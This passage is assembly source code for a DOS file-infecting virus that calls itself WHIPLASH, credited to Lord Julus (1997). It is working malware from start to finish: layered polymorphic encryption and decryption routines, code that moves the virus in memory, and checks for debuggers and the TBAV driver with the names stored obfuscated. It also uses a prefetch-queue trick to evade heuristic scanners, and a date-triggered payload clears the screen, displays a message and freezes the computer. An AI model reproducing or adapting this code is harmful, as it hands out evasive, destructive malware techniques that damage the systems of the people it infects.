FIRSTMETHOD3 ;yes. Cmp BX, 1 ;no, is it the second? Je SECONDMETHOD3 ;yes. Cmp BX, 2 ;no, then it must be the third. Je THIRDMETHOD3 ;yes! FIRSTMETHOD3: Xor Word Ptr [DI], AX ;the first method XOR-es Jmp GOON3 SECONDMETHOD3: Add Word Ptr [DI], AX ;the second method ADDs Jmp GOON3 THIRDMETHOD3: Sub Word Ptr [DI], AX ;the third method SUBs GOON3: Inc DI Inc DI Loop IAR11 ;loop until over ENCRYPT2: ;this is the second Mov DI, Offset FIN ;encryption routine, Add DI, 50 ;which encrypts without a key Add DI, Offset STARTCOD123 Sub DI, 100h Mov CX, (ENDCOD2 - STARTCOD123) - 1 IAR22: Mov AH, Byte Ptr [DI] ;it adds continously addiacent Mov AL, Byte Ptr [DI+1] ;bytes and puts the result in Add AH, AL ;the first one Mov Byte Ptr [DI], AH ;leaving only the last byte intact. Inc DI Loop IAR22 ENCRYPT3: ;the third encryption procedure Call _RANDOM ;is similar to the first. Mov CX, 3 Call MODULO Mov AX, 0 Mov DI, Offset FIN Add DI, 50 Add DI, Offset method2 Sub DI, 100h Mov [DI],AX Mov BX, AX Call _RANDOM Mov DI, Offset FIN Add DI, 50 Add DI, Offset cheie2 Sub DI, 100h Mov [DI], AX Mov DI, Offset FIN Add DI, 50 Add DI, Offset STARTCOD123 Sub DI, 100h Mov CX, (ENDCOD3 - STARTCOD123) / 2 IAR33: Cmp BX, 0 Je FIRSTMETHOD Cmp BX, 1 Je SECONDMETHOD Cmp BX, 2 Je THIRDMETHOD FIRSTMETHOD: Xor Word Ptr [DI], AX Jmp GOON SECONDMETHOD: Add Word Ptr [DI], AX Jmp GOON THIRDMETHOD: Sub Word Ptr [DI], AX GOON: Inc DI Inc DI Loop IAR33 Ret ;----------------------------------------------------------------------------- MOVEVIRUS: Push CS ; Pop DS ;move the code Push CS ;of my virus Pop ES ;to the end of my memory + 50 Cld ;(see why I needed +52 when I allocated?) Mov SI,100h ; Mov DI,Offset FIN + 50 ;so that I can encrypt it down there Mov CX,Offset FIN - 100h ; Rep Movsb ; Ret ;----------------------------------------------------------------------------- REMAKETHEM: ; needed to restore the registers and flags Mov AX, CS:[flags] Push AX Popf Mov AX, CS:[dds] Mov DS, AX Mov AX, CS:[ees] Mov ES, AX Mov AX, CS:[aax] Mov BX, CS:[bbx] Mov CX, CS:[ccx] Mov DX, CS:[ddx] Mov DI, CS:[ddi] Mov SI, CS:[ssi] Ret ;----------------------------------------------------------------------------- CHGPTR: Xor CX,CX ;used to move file pointer Xor DX,DX ; Int 21h ; Ret ; ;----------------------------------------------------------------------------- INT24: ;the INT 24 handler Mov AL,3 ;used to reset Iret ;the error flag if INT 24 is invoked ;and instruct DOS to abort operation. ;----------------------------------------------------------------------------- rand_seed Dw 0 RANDOMIZE: ;procedure to start the Push CX DX ;random generator Xor AH,AH ;get timer count Int 1Ah Mov CS:[BP + rand_seed],DX ;and save it Xchg CH,CL Add CS:[BP + rand_seed_2],CX Pop DX CX Ret ;----------------------------------------------------------------------------- _RANDOM: ;the random number generator In AL,40h ; timer, for random nr Sub AX,CS:[BP + rand_seed] Db 35h ; XOR AX, rand_seed_2 Dw 0 ; what is here Inc AX Add CS:[BP + rand_seed],AX ; change seed Ret ;----------------------------------------------------------------------------- MODULO: ; the modulo procedure ax = ax mod cx Push DX Xor DX, DX Div CX Xchg AX, DX Pop DX Ret ;----------------------------------------------------------------------------- CHECK_4_DANGER: ;checks if TBDRIVER or others are resident Pusha Push ES Push DS Push SI Push DI Mov AH, 52h ;get the first PSP Int 21h Add BX, 12 Mov AX, ES ;ax=PSP Dec AX ;ax-1 = first MCB Mov ES, AX Les BX, ES:[BX] ;correct ES AGAIN: Call PROCESS ;call to search procedure Jc OVER2 ;found something nasty -> move ! Mov DH, Byte Ptr ES:[0] ;check if last MCB Cmp DH,'Z' Je OVER ;no danger ! Mov DX, ES:[3] ;get MCB size Mov AX, ES Inc AX Add AX, DX Mov ES, AX ;Next MCB Jmp AGAIN PROCESS: Push AX Push DX Mov DI, Offset sir ;Now I create the string from MCB Mov SI, 8 ;that gives the name of the program Mov CX, 8 ;that owns the MCB IAR: Mov BH, Byte Ptr ES:[SI] Mov Byte Ptr DS:[DI], BH Inc SI Inc DI Loop IAR Mov SI, Offset comp1 ;and I compare it with the strings Mov DX, Offset sir ;in 'comp1',...'compn' Mov DI, DX Mov Byte Ptr DS:[flag], 1 REPEAT: Lodsb Cmp AL, 1 Je MOVEOVER Cmp AL, 0 Jne STILLWEGO Cmp Byte Ptr DS:[flag], 1 Je MOVEOVER Mov Byte Ptr DS:[flag], 1 Mov DI, DX Lodsb STILLWEGO: Inc AL Cmp AL, Byte Ptr DS:[DI] Je OKEYDOKEY Mov Byte Ptr DS:[flag], 0 OKEYDOKEY: Inc DI Jmp REPEAT MOVEOVER: Cmp Byte Ptr DS:[flag], 1 Jne XX Stc Jmp YY XX: Clc YY: Pop DX Pop AX Ret OVER: Clc ;there is nothing to worry about! Jmp OUTSIDE OVER2: Stc ;there is something nasty there ! OUTSIDE: Pop DI Pop SI Pop DS Pop ES Popa Ret flag Db 1 sir Db ' ',0,'$' comp1 Db 'SC',0 ;(TD) prevents debugging Db 'RNESHBD',0 ;(SOFTICE) "" Db 'CDATF',0 ;(DEBUG) "" Db 'SACQHUDQ',1 ;(TBDRIVER) this is dangerous ! ;notice that many may be added here; ;all you have to do is db them ;and sub 1 from each character, add 0 ;after, if there is another one, or 1 if ;it's the last ;*********************************************************** ; THESE ARE THE ACTION ROUTINES ;*********************************************************** ACTION_1: Pusha ;get the day Mov AH, 2Ah Int 21h Cmp DH, CS:[BP+myday] ;is it equal to myday? Jne NOT_YET Cmp DL, CS:[BP+mymonth] ;and is the month greater the mymonth? Jng NOT_YET Jmp ACTION ;if so, let's ROCK! NOT_YET: Popa Ret text Dw 0D0Ah Db 13, 10 Db 13, 10 Db 13, 10 Db 13, 10, ' This is WHIPLASH V.1.0 beta test release Variant A' Db 13, 10 Db 13, 10, ' You are not supposed to have this virus as I never officialy released it.' Db 13, 10 Db 13, 10, ' written and compiled in Bucharest, Romania by Lord Julus (c) 1997', '$' ACTION: Cli ;disable interrupts Mov AH, 00h ;not a very nice way to clearscreen Mov AL, 00h Int 10h Mov AH, 00h Mov AL, 03h Int 10h Push CS Pop DS Mov AH, 09h Mov DX, Offset text Add DX, BP Int 21h FOREVER: ;lock computer Jmp FOREVER Popa Ret ;*********************************************************** ; DATA AREA ;*********************************************************** filesize Dd ? ;for EXE filesize handle Dw ? ;handle for opened files address Db ? ;an address where I put the marker hostlen Dw ? ;length of host for COM files wrd Dw ? ;a word that marks EXE's jump Db 0E9h ;code op for JMP buff Db 0CDh,20h,0 ;the buffer I read from the files Db 30h Dup(0) hour Dw ? ;I save the hour here day Dw ? ;I save the day here attrib Dw ? ;and here the attributes errorh Dd ? ;this is the saved address of error handler stamp Db 07 ;time stamp myday Db 07 ;day to action mymonth Db 06 ;month to action from virname Db 'MSDOS',0,0,0,0 ; name as showed by MEM dta Dw 2Ch Dup (0) ; my Disk Transfer Area old_dta Dd 0 ; saved DTA oldint21_2 Dd ? ; the chained int21h pointer oldint21 Dd ? ; original int21h pointer (DOS) oldint01 Dd ? ; old int 01h pointer oldint33 Dd ? ; old mouse interrupt ;*********************************************************** ENDCOD1: cheie1 Dw 0 ; decrypt key for proc. 1 method1 Dw 0 ;********************************************************** ; Here ends the code for the decrypt routine 1 * ;********************************************************** ;********************************************************** ; This is the first decryption routine with the key 1 * ;********************************************************** DECRYPT1: Mov DI, Offset STARTCOD123 Add DI, BP Mov CX, (ENDCOD1 - STARTCOD123) / 2 Mov AX, CS:[BP + Offset cheie1] Mov BX, CS:[BP + Offset method1] IAR1: Cmp BX, 0 Je FIRSTMETHOD4 Cmp BX, 1 Je SECONDMETHOD4 Cmp BX, 2 Je THIRDMETHOD4 FIRSTMETHOD4: Xor Word Ptr CS:[DI], AX Jmp GOON4 SECONDMETHOD4: Sub Word Ptr CS:[DI], AX Jmp GOON4 THIRDMETHOD4: Add Word Ptr CS:[DI], AX GOON4: Inc DI Int 03h Inc DI Loop IAR1 Ret ;********************************************************** ; End of the first decryption routine * ;********************************************************** ENDCOD2: ;*********************************************************** ; Here ends the code to be decrypted by the second routine * ;*********************************************************** ;*********************************************************** ; And this is the second routine (without a key) * ;*********************************************************** DECRYPT2: Mov DI, Offset ENDCOD2 Add DI, BP Dec DI Dec DI Mov CX, ENDCOD2 - STARTCOD123 IAR2: Push AX ;A little INT 21h checking the Mov AH, 0Bh ;keyboard hooks TBAV's cleaning Int 21h ;process while emulating the code Pop AX ; Mov AH, Byte Ptr CS:[DI] Mov AL, Byte Ptr CS:[DI+1] Sub AH, AL Int 03h Mov Byte Ptr CS:[DI], AH Dec DI Loop IAR2 Call DECRYPT1 Ret ;********************************************************** ; The end of the second decryption routine * ;********************************************************** ENDCOD3: ;************************************************************ ; Here ends the code to be decrypted by the third procedure * ;************************************************************ ;********************************************************** ; This is the third decyption routine with the key 2 * ;********************************************************** DECRYPT3: Jmp OVERG2 OVERG2: Mov DI, Offset STARTCOD123 Add DI, BP Mov CX, (ENDCOD3 - STARTCOD123) / 2 Mov AX, CS:[BP + Offset cheie2] Mov BX, CS:[BP + Offset method2] IAR3: Mov Byte Ptr CS:[BP + PATCH], 0E2h Cmp BX, 0 Je FIRSTMETHOD2 Cmp BX, 1 Je SECONDMETHOD2 Cmp BX, 2 Je THIRDMETHOD2 FIRSTMETHOD2: Xor Word Ptr CS:[DI], AX Jmp GOON2 SECONDMETHOD2: Sub Word Ptr CS:[DI], AX Jmp GOON2 THIRDMETHOD2: Add Word Ptr CS:[DI], AX GOON2: Inc DI Int 03h Inc DI Mov Byte Ptr CS:[BP + PATCH], 0B8h ;Here I use the Prefetching Queue PATCH: ;Method against heuristic scans. Loop IAR3 ;When Cpu executes this the Loop is Call DECRYPT2 ;executed, but when a step-by-step Ret ;process is in course the loop ;becomes a mov xx,yyyy ;********************************************************** ; Here ends the third decryption routine * ;********************************************************** cheie2 Dw 0 ; the key 2 method2 Dw 0 ; the method 2 FIN: Code Ends End START